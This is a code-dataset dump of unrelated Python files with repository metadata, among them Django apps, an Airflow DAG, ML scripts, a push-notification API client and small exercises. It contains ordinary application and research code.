import numpy as np
import scipy.misc
class AgentObj:
def __init__(self, coordinates, type, name, direction=0, mark=0, hidden=0):
self.x = coordinates[0]
self.y = coordinates[1]
#0: r, 1: g, 3: b
self.type = type
self.name = name
... | 38.344322 | 130 | 0.565055 |
0acc6e18d709b6905b274cbb7a2d5da4aa9ca38e | 1,635 | py | Python | architectures/LinearClassifier.py | JIAOJIAYUASD/FeatureLearningRotNet | 6285773795b514dacb920ca172c895c3a01c68e8 | [
"MIT"
] | 492 | 2018-03-22T01:36:52.000Z | 2022-03-24T03:34:52.000Z | architectures/LinearClassifier.py | JIAOJIAYUASD/FeatureLearningRotNet | 6285773795b514dacb920ca172c895c3a01c68e8 | [
"MIT"
] | 24 | 2018-04-03T08:00:43.000Z | 2022-01-28T02:04:27.000Z | architectures/LinearClassifier.py | JIAOJIAYUASD/FeatureLearningRotNet | 6285773795b514dacb920ca172c895c3a01c68e8 | [
"MIT"
] | 129 | 2018-03-27T09:59:37.000Z | 2022-02-28T06:35:56.000Z | import math
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
class Flatten(nn.Module):
def __init__(self):
super(Flatten, self).__init__()
def forward(self, feat):
return feat.view(feat.size(0), -1)
class Classifier(nn.Module):
def __init__(self, opt):... | 34.0625 | 95 | 0.625076 |
157de86317033bd89563d287db2c0beb89bbfc30 | 2,037 | py | Python | sample.py | ShiriBernat/FlyFiles | 1fe01faaa9951a3f006ab5b87dc3773d8e0e3817 | [
"MIT"
] | null | null | null | sample.py | ShiriBernat/FlyFiles | 1fe01faaa9951a3f006ab5b87dc3773d8e0e3817 | [
"MIT"
] | null | null | null | sample.py | ShiriBernat/FlyFiles | 1fe01faaa9951a3f006ab5b87dc3773d8e0e3817 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import tensorflow as tf
import argparse
import utils
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('--checkpoint_dir', type=str, default='save',
help='model directory... | 37.036364 | 95 | 0.628866 |
e0739dabc9a7ec366fa6f4841376a8b736c45dbd | 2,332 | py | Python | footprint_airflow/dags/footprint_monitor_dag.py | footprint-network/footprint-analytics | 5de4932ce1c21860785edcce90ffdf097b6f9921 | [
"MIT"
] | null | null | null | footprint_airflow/dags/footprint_monitor_dag.py | footprint-network/footprint-analytics | 5de4932ce1c21860785edcce90ffdf097b6f9921 | [
"MIT"
] | null | null | null | footprint_airflow/dags/footprint_monitor_dag.py | footprint-network/footprint-analytics | 5de4932ce1c21860785edcce90ffdf097b6f9921 | [
"MIT"
] | 1 | 2021-09-20T22:31:20.000Z | 2021-09-20T22:31:20.000Z | from models import MonitorDashBoard
from utils.date_util import DateUtil
from utils import Constant
from datetime import datetime, timedelta
from utils.monitor import send_to_slack
import pydash
from utils.build_dag_util import BuildDAG
def python_callable():
get_task_execution_result()
def get_execution_date()... | 31.093333 | 194 | 0.726415 |
5bd7f09866cd7ed8a37997976e2eb3a90999101b | 7,304 | py | Python | saleor/order/utils.py | skazancev/saleor | 42746ba00080ce36dedc0954be66b42f0e0a7499 | [
"BSD-3-Clause"
] | 1 | 2020-02-13T21:53:14.000Z | 2020-02-13T21:53:14.000Z | saleor/order/utils.py | skazancev/saleor | 42746ba00080ce36dedc0954be66b42f0e0a7499 | [
"BSD-3-Clause"
] | null | null | null | saleor/order/utils.py | skazancev/saleor | 42746ba00080ce36dedc0954be66b42f0e0a7499 | [
"BSD-3-Clause"
] | null | null | null | from functools import wraps
from django.conf import settings
from django.db.models import F
from django.shortcuts import get_object_or_404, redirect
from django.utils.translation import pgettext_lazy
from prices import Money, TaxedMoney, fixed_discount
from . import GroupStatus
from ..account.utils import store_user_... | 34.45283 | 79 | 0.681407 |
f3c4236e402508fc3d9d030329fdfc25677bfe5b | 547 | py | Python | www/migrations/0001_initial.py | rainum/dontcrashmydrone | 1c99536a9798c18951edd8626b0299e48e05f4e5 | [
"MIT"
] | null | null | null | www/migrations/0001_initial.py | rainum/dontcrashmydrone | 1c99536a9798c18951edd8626b0299e48e05f4e5 | [
"MIT"
] | null | null | null | www/migrations/0001_initial.py | rainum/dontcrashmydrone | 1c99536a9798c18951edd8626b0299e48e05f4e5 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-04-23 11:04
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Token',... | 22.791667 | 114 | 0.588665 |
11e33bfa4c8046a51b99c80e8e5c51d7576bf97e | 270 | py | Python | matplotlib/line001.py | bismog/leetcode | 13b8a77045f96e7c59ddfe287481f6aaa68e564d | [
"MIT"
] | null | null | null | matplotlib/line001.py | bismog/leetcode | 13b8a77045f96e7c59ddfe287481f6aaa68e564d | [
"MIT"
] | null | null | null | matplotlib/line001.py | bismog/leetcode | 13b8a77045f96e7c59ddfe287481f6aaa68e564d | [
"MIT"
] | 1 | 2018-08-17T07:07:15.000Z | 2018-08-17T07:07:15.000Z | #!/usr/bin/env python
import matplotlib as mpl
mpl.use('Agg')
import matplotlib.pyplot as plt
plt.style.use('classic')
#Plotting to our canvas
fig = plt.figure()
plt.plot([1,2,3],[4,5,1])
fig.savefig('/home/tmp/line001.png')
#Showing what we plotted
# plt.show()
| 18 | 38 | 0.696296 |
03f25c51e154375a241fdaa6b67bc7844900c4d8 | 24,856 | py | Python | codes/Archive/run_main_no_game.py | htalebiyan/Dec2py | 8c4181eb92d6e52aef8cc804c485865516cee200 | [
"MIT"
] | null | null | null | codes/Archive/run_main_no_game.py | htalebiyan/Dec2py | 8c4181eb92d6e52aef8cc804c485865516cee200 | [
"MIT"
] | null | null | null | codes/Archive/run_main_no_game.py | htalebiyan/Dec2py | 8c4181eb92d6e52aef8cc804c485865516cee200 | [
"MIT"
] | null | null | null | """ Runs INDP, td-INDP, Judgment Call, and infrastructure games"""
import sys
import os
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import pickle
import indp
import dindputils
import plots
import gametree
import itertools
import Metaheuristics.metaheuristics as mh
# import gameutils
try:
... | 52.438819 | 120 | 0.613252 |
86ddd7e9d11df4962b845bf14f22f8c39d0e2beb | 4,845 | py | Python | udemy/auth.py | p-pavankumar/udemy-dl | 1222b2d7fe3fc3e6c065e30061b4b4c34d4daa01 | [
"MIT"
] | null | null | null | udemy/auth.py | p-pavankumar/udemy-dl | 1222b2d7fe3fc3e6c065e30061b4b4c34d4daa01 | [
"MIT"
] | null | null | null | udemy/auth.py | p-pavankumar/udemy-dl | 1222b2d7fe3fc3e6c065e30061b4b4c34d4daa01 | [
"MIT"
] | null | null | null | # pylint: disable=R,C
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Author : Nasir Khan (r0ot h3x49)
Github : https://github.com/r0oth3x49
License : MIT
Copyright (c) 2018-2025 Nasir Khan (r0ot h3x49)
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associate... | 40.041322 | 168 | 0.600413 |
05ff1963b3b0975f8c67a103807efcf55b9ac180 | 1,477 | py | Python | app/migrations/0001_initial.py | marcmelchor/crawl-google-playsotre-reviews | a4db1acd6d552583592d0eb640c4dd17cc8eb4ef | [
"Apache-2.0"
] | null | null | null | app/migrations/0001_initial.py | marcmelchor/crawl-google-playsotre-reviews | a4db1acd6d552583592d0eb640c4dd17cc8eb4ef | [
"Apache-2.0"
] | null | null | null | app/migrations/0001_initial.py | marcmelchor/crawl-google-playsotre-reviews | a4db1acd6d552583592d0eb640c4dd17cc8eb4ef | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.1.7 on 2021-02-28 09:18
from django.db import migrations, models
import django.db.models.deletion
import django.db.models.manager
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='App',
... | 35.166667 | 114 | 0.562627 |
bf4335dd0ca4485aa6f8f951763c821b614800cb | 4,496 | py | Python | setup.py | TheCakeIsNaOH/FanFicFare | 76565e959a38f9064fd8c7d09456053741598459 | [
"Apache-2.0"
] | null | null | null | setup.py | TheCakeIsNaOH/FanFicFare | 76565e959a38f9064fd8c7d09456053741598459 | [
"Apache-2.0"
] | null | null | null | setup.py | TheCakeIsNaOH/FanFicFare | 76565e959a38f9064fd8c7d09456053741598459 | [
"Apache-2.0"
] | null | null | null |
"""A setuptools based setup module.
See:
https://packaging.python.org/guides/distributing-packages-using-setuptools/
https://github.com/pypa/sampleproject
"""
# Always prefer setuptools over distutils
from setuptools import setup
# To use a consistent encoding
import codecs
package_name="FanFicFare"
import sys
if... | 35.401575 | 94 | 0.645907 |
9232fa701615d9b5e6c929bbb6afc4790c913cd9 | 1,783 | py | Python | codes/projects/poisson_linear_2d/utils_project/solve_fem_poisson_heat_linear_assembled.py | hwangoh/uq-vae | 382548e6f6dd7f9d72feff0e0752beec871db348 | [
"MIT"
] | 2 | 2021-07-28T16:47:18.000Z | 2021-08-03T00:53:58.000Z | codes/projects/poisson_linear_2d/utils_project/solve_fem_poisson_heat_linear_assembled.py | HwanGoh/uq-vae | 24a3d26987e2ec807d57601b14c68b22f3652a18 | [
"MIT"
] | null | null | null | codes/projects/poisson_linear_2d/utils_project/solve_fem_poisson_heat_linear_assembled.py | HwanGoh/uq-vae | 24a3d26987e2ec807d57601b14c68b22f3652a18 | [
"MIT"
] | 2 | 2021-09-29T08:31:46.000Z | 2021-11-07T10:26:45.000Z | import tensorflow as tf
import numpy as np
import pandas as pd
import time
import pdb #Equivalent of keyboard in MATLAB, just add "pdb.set_trace()"
###############################################################################
# Neumann #
##########... | 40.522727 | 93 | 0.530566 |
1b7f9e6bec4283e2d924ff9f29f58be4b4b4174f | 332 | py | Python | PBO_18102/tugas_5.1_18102.py | mjeiner28/PBO | e2885243a576d2ebb61fff66b9f1bf138be98d28 | [
"MIT"
] | null | null | null | PBO_18102/tugas_5.1_18102.py | mjeiner28/PBO | e2885243a576d2ebb61fff66b9f1bf138be98d28 | [
"MIT"
] | null | null | null | PBO_18102/tugas_5.1_18102.py | mjeiner28/PBO | e2885243a576d2ebb61fff66b9f1bf138be98d28 | [
"MIT"
] | null | null | null | status = False
batas = 3
tabel_menu =["ayam goreng","nasi kuning","ikan bakar","gohu"]
while batas > 2:
tanya_username = input("masukan pilihan makanan: ")
for a_menu in tabel_menu:
print ("selamat makan")
status = True
break
continue
... | 23.714286 | 62 | 0.533133 |
09f69b3b96be010a0c7f47cd9b124b103121dab4 | 6,573 | py | Python | mezzanine/utils/tests.py | UbuntuEvangelist/mezzanine | 5d3c21f918f26dee7bc107122ca6a1ad247314b2 | [
"BSD-2-Clause"
] | 1 | 2015-01-20T07:31:12.000Z | 2015-01-20T07:31:12.000Z | mezzanine/utils/tests.py | alan-hicks/mezzanine | 92fa94aa3053f4fda7bcef9b44b96fa1ebbf6860 | [
"BSD-2-Clause"
] | 9 | 2020-03-24T16:20:31.000Z | 2022-03-11T23:32:38.000Z | mezzanine/utils/tests.py | alan-hicks/mezzanine | 92fa94aa3053f4fda7bcef9b44b96fa1ebbf6860 | [
"BSD-2-Clause"
] | 19 | 2017-01-12T09:20:03.000Z | 2019-06-18T14:53:32.000Z | from __future__ import unicode_literals
from future.builtins import open, range, str
from _ast import PyCF_ONLY_AST
import os
from shutil import copyfile, copytree
from django.contrib.auth import get_user_model
from django.db import connection
from django.template import Context, Template
from django.test import Test... | 31.907767 | 72 | 0.630762 |
a3eef047d7ffe31a7cc5a4f08a79b7cf02c34fb3 | 370 | py | Python | third_party/python/Lib/test/test_codecmaps_hk.py | appotry/cosmopolitan | af4687cc3f2331a23dc336183ab58fe001cda082 | [
"ISC"
] | null | null | null | third_party/python/Lib/test/test_codecmaps_hk.py | appotry/cosmopolitan | af4687cc3f2331a23dc336183ab58fe001cda082 | [
"ISC"
] | null | null | null | third_party/python/Lib/test/test_codecmaps_hk.py | appotry/cosmopolitan | af4687cc3f2331a23dc336183ab58fe001cda082 | [
"ISC"
] | null | null | null | #
# test_codecmaps_hk.py
# Codec mapping tests for HongKong encodings
#
from test import multibytecodec_support
import unittest
class TestBig5HKSCSMap(multibytecodec_support.TestBase_Mapping,
unittest.TestCase):
encoding = 'big5hkscs'
mapfileurl = '/zip/.python/test/BIG5HKSCS-2004.TXT... | 23.125 | 63 | 0.721622 |
88a0f5eda9f041e42a7c068ef86f5c2a1e798a82 | 97 | py | Python | tests/pitchShift.py | skratchdot/media-tools | bca0c683fb637aeefda1c49454a118f809047d97 | [
"MIT"
] | 13 | 2019-12-09T07:56:13.000Z | 2021-08-03T01:45:53.000Z | tests/pitchShift.py | skratchdot/media-tools | bca0c683fb637aeefda1c49454a118f809047d97 | [
"MIT"
] | 1 | 2020-04-29T00:00:14.000Z | 2021-07-09T14:24:19.000Z | tests/pitchShift.py | skratchdot/media-tools | bca0c683fb637aeefda1c49454a118f809047d97 | [
"MIT"
] | 3 | 2020-04-27T15:36:36.000Z | 2021-03-29T17:52:35.000Z | # -*- coding: utf-8 -*-
import librosa
y, sr = librosa.load("../media/sample/speech_clip.wav")
| 16.166667 | 55 | 0.639175 |
420ccd342c06516e9e81defb7773dbed9e67232b | 4,478 | py | Python | sdk/servicefabric/azure-servicefabric/azure/servicefabric/_service_fabric_client_ap_is.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 2,728 | 2015-01-09T10:19:32.000Z | 2022-03-31T14:50:33.000Z | sdk/servicefabric/azure-servicefabric/azure/servicefabric/_service_fabric_client_ap_is.py | v-xuto/azure-sdk-for-python | 9c6296d22094c5ede410bc83749e8df8694ccacc | [
"MIT"
] | 17,773 | 2015-01-05T15:57:17.000Z | 2022-03-31T23:50:25.000Z | sdk/servicefabric/azure-servicefabric/azure/servicefabric/_service_fabric_client_ap_is.py | v-xuto/azure-sdk-for-python | 9c6296d22094c5ede410bc83749e8df8694ccacc | [
"MIT"
] | 1,916 | 2015-01-19T05:05:41.000Z | 2022-03-31T19:36:44.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | 50.314607 | 111 | 0.756141 |
162bf4d30ece1e561415bcd3deb71e40d9058b1d | 5,797 | py | Python | xbox/webapi/api/client.py | Elon-Maks/xbox-webapi-python | 14fc5cda72038ad3e71ee9fbd36f7d7b27f4f787 | [
"MIT"
] | null | null | null | xbox/webapi/api/client.py | Elon-Maks/xbox-webapi-python | 14fc5cda72038ad3e71ee9fbd36f7d7b27f4f787 | [
"MIT"
] | null | null | null | xbox/webapi/api/client.py | Elon-Maks/xbox-webapi-python | 14fc5cda72038ad3e71ee9fbd36f7d7b27f4f787 | [
"MIT"
] | null | null | null | """
Xbox Live Client
Basic factory that stores :class:`XboxLiveLanguage`, User authorization data
and available `Providers`
"""
import logging
from typing import Any
from aiohttp import hdrs
from aiohttp.client import ClientResponse
from ms_cv import CorrelationVector
from xbox.webapi.api.language import DefaultXbox... | 36.23125 | 119 | 0.671899 |
bf4af9db552cee6c1d9dc665f6da6a64444ee87e | 3,123 | py | Python | HeartNet.py | royJackman/SineCircleMappings | 8638689e7efdb41f277e766e0144686c12b1cc16 | [
"MIT"
] | 1 | 2021-06-13T16:26:43.000Z | 2021-06-13T16:26:43.000Z | HeartNet.py | royJackman/SineCircleMappings | 8638689e7efdb41f277e766e0144686c12b1cc16 | [
"MIT"
] | null | null | null | HeartNet.py | royJackman/SineCircleMappings | 8638689e7efdb41f277e766e0144686c12b1cc16 | [
"MIT"
] | 1 | 2021-06-13T16:29:15.000Z | 2021-06-13T16:29:15.000Z | import json
import torch
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
from colour import Color
from MixedNet import MixedNet
from mpl_toolkits.mplot3d import Axes3D
torch.manual_seed(0)
device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')
cols = ['age', 'sex', 'cp', 'tres... | 30.320388 | 129 | 0.600384 |
ddfc72d2a6f7bcd98007ee6a133fdc6dc953ff61 | 313,362 | py | Python | exporters/blender/pbrtBlend.py | patwonder/pbrt-v2-skin | a6a58e5287925798c2d37adea6054dbec4587e4b | [
"BSD-2-Clause"
] | 3 | 2020-12-09T00:03:29.000Z | 2021-07-03T13:31:41.000Z | exporters/blender/pbrtBlend.py | patwonder/pbrt-v2-skin | a6a58e5287925798c2d37adea6054dbec4587e4b | [
"BSD-2-Clause"
] | null | null | null | exporters/blender/pbrtBlend.py | patwonder/pbrt-v2-skin | a6a58e5287925798c2d37adea6054dbec4587e4b | [
"BSD-2-Clause"
] | 1 | 2020-11-28T12:33:24.000Z | 2020-11-28T12:33:24.000Z | #!BPY
# -*- coding: utf-8 -*-
# coding=utf-8
"""Registration info for Blender menus:
Name: 'pbrt v2.0 alpha Exporter'
Blender: 248
Group: 'Render'
Tooltip: 'Export/Render to pbrt v2.0 scene format (.pbrt)'
"""
__author__ = "radiance, zuegs, ideasman42, luxblender, dougal2, mmp"
__version__ = "0.6"
__url__ = [
"http:/... | 61.953737 | 9,419 | 0.557422 |
b89948c81c616a7db3eaafcf5c2efcfe025082e4 | 6,521 | py | Python | tests/unit/test_fields/test_struct_make_dict.py | radeklat/sparkql | 57d55c7599460f2e7e5957c037d7c25cedb92647 | [
"MIT"
] | 6 | 2020-02-12T14:01:08.000Z | 2020-05-29T05:35:09.000Z | tests/unit/test_fields/test_struct_make_dict.py | radeklat/sparkql | 57d55c7599460f2e7e5957c037d7c25cedb92647 | [
"MIT"
] | 31 | 2020-02-09T18:52:52.000Z | 2020-05-15T16:03:32.000Z | tests/unit/test_fields/test_struct_make_dict.py | radeklat/sparkql | 57d55c7599460f2e7e5957c037d7c25cedb92647 | [
"MIT"
] | 1 | 2020-04-03T19:23:08.000Z | 2020-04-03T19:23:08.000Z | """
Suite of tests for Struct make_dict.
Partner to `test_struct.py`.
"""
import re
from collections import OrderedDict
from typing import Mapping, Any
import pytest
from sparkql.exceptions import StructInstantiationArgumentsError, StructInstantiationArgumentTypeError
from sparkql import Struct, String, Float, Arra... | 33.441026 | 116 | 0.579666 |
df5af76319cef47af97bace14d11ec330e499456 | 1,025 | py | Python | app/routes/spotify_routes.py | Build-Week-Spotify-Song-Suggestor/DS | 03070f5f0d2f19472b87a401879429f650dc88ec | [
"MIT"
] | null | null | null | app/routes/spotify_routes.py | Build-Week-Spotify-Song-Suggestor/DS | 03070f5f0d2f19472b87a401879429f650dc88ec | [
"MIT"
] | null | null | null | app/routes/spotify_routes.py | Build-Week-Spotify-Song-Suggestor/DS | 03070f5f0d2f19472b87a401879429f650dc88ec | [
"MIT"
] | null | null | null | # app/routes/spotify_routes.py
from flask import Blueprint, jsonify, request
from app.services.spotify_services import spotify_api_client
from app.model.models import db, Songs
spotify_routes = Blueprint('spotify_routes',__name__)
# Todo for today: add route to add new track to database
# @app.route('/add-track')
... | 36.607143 | 147 | 0.649756 |
31b830e4147b43f853da5f17d0d40fe0d3a4a595 | 833 | py | Python | Chapter06/2logistic_function.py | karim7262/Python-Machine-Learning-By-Example | 1bd2690225c93f637eabc5c78574714a22b4068a | [
"MIT"
] | 106 | 2017-06-20T07:06:26.000Z | 2022-01-28T20:17:57.000Z | Chapter06/2logistic_function.py | karim7262/Python-Machine-Learning-By-Example | 1bd2690225c93f637eabc5c78574714a22b4068a | [
"MIT"
] | 2 | 2017-11-20T03:36:46.000Z | 2019-03-08T07:47:02.000Z | Chapter06/2logistic_function.py | karim7262/Python-Machine-Learning-By-Example | 1bd2690225c93f637eabc5c78574714a22b4068a | [
"MIT"
] | 83 | 2017-07-02T03:09:38.000Z | 2022-03-07T06:45:04.000Z | import numpy as np
def sigmoid(input):
return 1.0 / (1 + np.exp(-input))
import matplotlib.pyplot as plt
z = np.linspace(-8, 8, 1000)
y = sigmoid(z)
plt.plot(z, y)
plt.axhline(y=0, ls='dotted', color='k')
plt.axhline(y=0.5, ls='dotted', color='k')
plt.axhline(y=1, ls='dotted', color='k')
plt.yticks([0.0, 0.25, ... | 20.317073 | 59 | 0.645858 |
bac30c6b179858b0c577cadcdc234be11a0ce58d | 1,720 | py | Python | projects/python-4-everybody-examples/sqlite-email-addresses/emaildb.py | fred-snyder/notes-on-python | 1837a8999ea0d736ff3804417524b8d8cb1955e6 | [
"MIT"
] | 1 | 2022-03-15T22:03:45.000Z | 2022-03-15T22:03:45.000Z | projects/python-4-everybody-examples/sqlite-email-addresses/emaildb.py | fred-snyder/notes-on-python | 1837a8999ea0d736ff3804417524b8d8cb1955e6 | [
"MIT"
] | null | null | null | projects/python-4-everybody-examples/sqlite-email-addresses/emaildb.py | fred-snyder/notes-on-python | 1837a8999ea0d736ff3804417524b8d8cb1955e6 | [
"MIT"
] | null | null | null | import sqlite3
# make connection to sqlite
conn = sqlite3.connect('emaildb.sqlite')
# a cursor allows Python-code to execute SQL commands in a database session
cur = conn.cursor()
# make sure we start with a clean database
cur.execute('DROP TABLE IF EXISTS Counts')
# create a new empty table
cur.execute('''
CREATE T... | 29.152542 | 75 | 0.668023 |
c709386c1d32215a85c3c3018e9969e07747c654 | 176 | py | Python | Lesson 5/01_functions.py | hamburgcodingschool/L2C-Python-1804 | 3420691aaee81fb88b2e8e21763014bc91d2ed96 | [
"MIT"
] | null | null | null | Lesson 5/01_functions.py | hamburgcodingschool/L2C-Python-1804 | 3420691aaee81fb88b2e8e21763014bc91d2ed96 | [
"MIT"
] | null | null | null | Lesson 5/01_functions.py | hamburgcodingschool/L2C-Python-1804 | 3420691aaee81fb88b2e8e21763014bc91d2ed96 | [
"MIT"
] | null | null | null |
def something():
print("something")
print("something else")
print("something other")
if True:
for n in range(1, 10):
print(n)
something()
| 16 | 30 | 0.556818 |
6f5ae1abe96d336522cbe36a5b0f1aed3ef9cbf9 | 17,610 | py | Python | research/volume.py | Billy-The-Squid/Cayley | 8e1884358c10e410c3b236d2be700726e84c6df2 | [
"MIT"
] | null | null | null | research/volume.py | Billy-The-Squid/Cayley | 8e1884358c10e410c3b236d2be700726e84c6df2 | [
"MIT"
] | null | null | null | research/volume.py | Billy-The-Squid/Cayley | 8e1884358c10e410c3b236d2be700726e84c6df2 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
Authors: Justin Pusztay, Sho Gibbs, Will Hanstedt
Filename: volume.py
Project: Research for Irina Mazilu, Ph.D.
Adapted from cayleymain.py module by Justin Pusztay et al.
Runs Cayley tree simulations in bulk according to the methods laid out in
montecarlo.py.
"""
import Cayley as cy
import C... | 41.048951 | 112 | 0.566667 |
80ecf5fdfee7913776346e9b631a7b918e035cd7 | 4,506 | py | Python | src/addresses/views.py | caesarorz/complete-ecommerce | 35493812167c208c166df3048190a9988adf6bb0 | [
"MIT"
] | null | null | null | src/addresses/views.py | caesarorz/complete-ecommerce | 35493812167c208c166df3048190a9988adf6bb0 | [
"MIT"
] | null | null | null | src/addresses/views.py | caesarorz/complete-ecommerce | 35493812167c208c166df3048190a9988adf6bb0 | [
"MIT"
] | null | null | null | from django.shortcuts import render,redirect
from django.utils.http import is_safe_url
from .forms import AddressForm
from .models import Address
# Create your views here.
from billing.models import BillingProfile
def checkout_address_create_view(request):
form = AddressForm(request.POST or None)
context = {
... | 42.509434 | 99 | 0.638704 |
5b15ee3bcc5749c20d41636c569fa2e558cd7420 | 850 | py | Python | tel_storage/tasks.py | nalimhahs/pwnit | b0752cb1c7e981addb3b3b57aa444c5823a911f6 | [
"MIT"
] | null | null | null | tel_storage/tasks.py | nalimhahs/pwnit | b0752cb1c7e981addb3b3b57aa444c5823a911f6 | [
"MIT"
] | 10 | 2021-03-19T04:34:51.000Z | 2022-03-12T00:44:21.000Z | tel_storage/tasks.py | nalimhahs/pwnit | b0752cb1c7e981addb3b3b57aa444c5823a911f6 | [
"MIT"
] | null | null | null | from config import celery_app
from movies.models import Movie
from django.conf import settings
import json
import requests
@celery_app.task()
def upload_movie(movie_pk):
movie = Movie.objects.get(pk=movie_pk)
movie.set_status(Movie.UPLOADING)
response = requests.post(
settings.STREAM_SERVER_URL + ... | 29.310345 | 70 | 0.718824 |
7dd3346e36f070e41974fd9d11a94f06cb797477 | 8,425 | py | Python | urbanairship.py | mattmakai/python-library | 6decb024e73f112f71d20e2223e18afdf3499ffc | [
"BSD-2-Clause"
] | 1 | 2022-02-06T16:27:19.000Z | 2022-02-06T16:27:19.000Z | urbanairship.py | mattmakai/python-library | 6decb024e73f112f71d20e2223e18afdf3499ffc | [
"BSD-2-Clause"
] | null | null | null | urbanairship.py | mattmakai/python-library | 6decb024e73f112f71d20e2223e18afdf3499ffc | [
"BSD-2-Clause"
] | null | null | null | """Python module for using the Urban Airship API"""
import httplib
import urllib
try:
import simplejson as json
except ImportError:
import json
SERVER = 'go.urbanairship.com'
BASE_URL = "https://go.urbanairship.com/api"
DEVICE_TOKEN_URL = BASE_URL + '/device_tokens/'
APIDS_TOKEN_URL = BASE_URL + '/apids/'
PU... | 32.528958 | 110 | 0.605816 |
84fcb88d2e2f8289e6739afc4bdc3d3646ad2770 | 1,446 | py | Python | src/vendor/mariadb-10.6.7/extra/wolfssl/wolfssl/wrapper/python/wolfssl/test/conftest.py | zettadb/zettalib | 3d5f96dc9e3e4aa255f4e6105489758944d37cc4 | [
"Apache-2.0"
] | null | null | null | src/vendor/mariadb-10.6.7/extra/wolfssl/wolfssl/wrapper/python/wolfssl/test/conftest.py | zettadb/zettalib | 3d5f96dc9e3e4aa255f4e6105489758944d37cc4 | [
"Apache-2.0"
] | null | null | null | src/vendor/mariadb-10.6.7/extra/wolfssl/wolfssl/wrapper/python/wolfssl/test/conftest.py | zettadb/zettalib | 3d5f96dc9e3e4aa255f4e6105489758944d37cc4 | [
"Apache-2.0"
] | 2 | 2022-02-27T14:00:01.000Z | 2022-03-31T06:24:22.000Z | # -*- coding: utf-8 -*-
#
# conftest.py
#
# Copyright (C) 2006-2021 wolfSSL Inc.
#
# This file is part of wolfSSL.
#
# wolfSSL is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, o... | 29.510204 | 79 | 0.742047 |
f0f114d1fdfe7526e9725a8a1eb7efb2afa81ec6 | 6,235 | py | Python | 170401017.py | larabetul/blm2010 | f658165bd834e0963c54679a4ccd52c39c1e63fd | [
"Unlicense"
] | null | null | null | 170401017.py | larabetul/blm2010 | f658165bd834e0963c54679a4ccd52c39c1e63fd | [
"Unlicense"
] | null | null | null | 170401017.py | larabetul/blm2010 | f658165bd834e0963c54679a4ccd52c39c1e63fd | [
"Unlicense"
] | null | null | null |
# coding: utf-8
# In[18]:
#cemre doğan 170401017
with open("veriler.txt","r",encoding='utf-8') as file: #dosya okuma
vaka_liste = []
for i in file.read().split():
vaka_liste.append(int(i))
#print(vaka_liste)
import math
def gauss(A):
n = len(A)
for i in range(0, n):
# Sear... | 26.759657 | 70 | 0.584122 |
c4ea02b537c50c502dd2c4a091aae580aa390440 | 1,296 | py | Python | catalog/views.py | dotakshit/file | a4f521f411ddc05644be7bfc674b7b7732024363 | [
"CC0-1.0"
] | null | null | null | catalog/views.py | dotakshit/file | a4f521f411ddc05644be7bfc674b7b7732024363 | [
"CC0-1.0"
] | 7 | 2020-02-12T00:23:53.000Z | 2022-02-10T08:12:31.000Z | catalog/views.py | dotakshit/file | a4f521f411ddc05644be7bfc674b7b7732024363 | [
"CC0-1.0"
] | null | null | null | from django.shortcuts import render, redirect
from django.contrib.auth import login, authenticate
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.models import User
from django.contrib.auth.decorators import login_required
from django.db import transaction
# Create your views here.
from ... | 24.923077 | 73 | 0.693673 |
a6350ea070d70e78d815948736fb093a4bc08e33 | 319 | py | Python | 0x11-python-network_1/4-hbtn_status.py | omarcherni007/holbertonschool-higher_level_programming | 65f3430ab0310f85368d73cb72e139631e8c6f1e | [
"MIT"
] | 1 | 2022-01-04T11:07:56.000Z | 2022-01-04T11:07:56.000Z | 0x11-python-network_1/4-hbtn_status.py | omarcherni007/holbertonschool-higher_level_programming | 65f3430ab0310f85368d73cb72e139631e8c6f1e | [
"MIT"
] | null | null | null | 0x11-python-network_1/4-hbtn_status.py | omarcherni007/holbertonschool-higher_level_programming | 65f3430ab0310f85368d73cb72e139631e8c6f1e | [
"MIT"
] | null | null | null | #!/usr/bin/python3
"""Check status"""
import requests
def status():
"""status"""
result = requests.get("https://intranet.hbtn.io/status")
print("Body response:")
print("\t- type: {}".format(type(result.text)))
print("\t- content: {}".format(result.text))
if __name__ == "__main__":
status()
| 19.9375 | 60 | 0.611285 |
b5e674c79ccd1235247c8c8f52bac57c6c3e8be1 | 507 | py | Python | FCards/Cards/migrations/0006_auto_20200621_1106.py | Solurix/Flashcards-Django | 03c863f6722936093927785a2b20b6b668bb743d | [
"MIT"
] | 1 | 2021-05-16T03:20:23.000Z | 2021-05-16T03:20:23.000Z | FCards/Cards/migrations/0006_auto_20200621_1106.py | Solurix/Flashcards-Django | 03c863f6722936093927785a2b20b6b668bb743d | [
"MIT"
] | 4 | 2021-03-30T14:06:09.000Z | 2021-09-22T19:26:31.000Z | FCards/Cards/migrations/0006_auto_20200621_1106.py | Solurix/Flashcards-Django | 03c863f6722936093927785a2b20b6b668bb743d | [
"MIT"
] | null | null | null | # Generated by Django 3.0.7 on 2020-06-21 02:06
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Cards', '0005_auto_20200620_2253'),
]
operations = [
migrations.RemoveField(
model_name='card',
name='definition',
... | 22.043478 | 63 | 0.577909 |
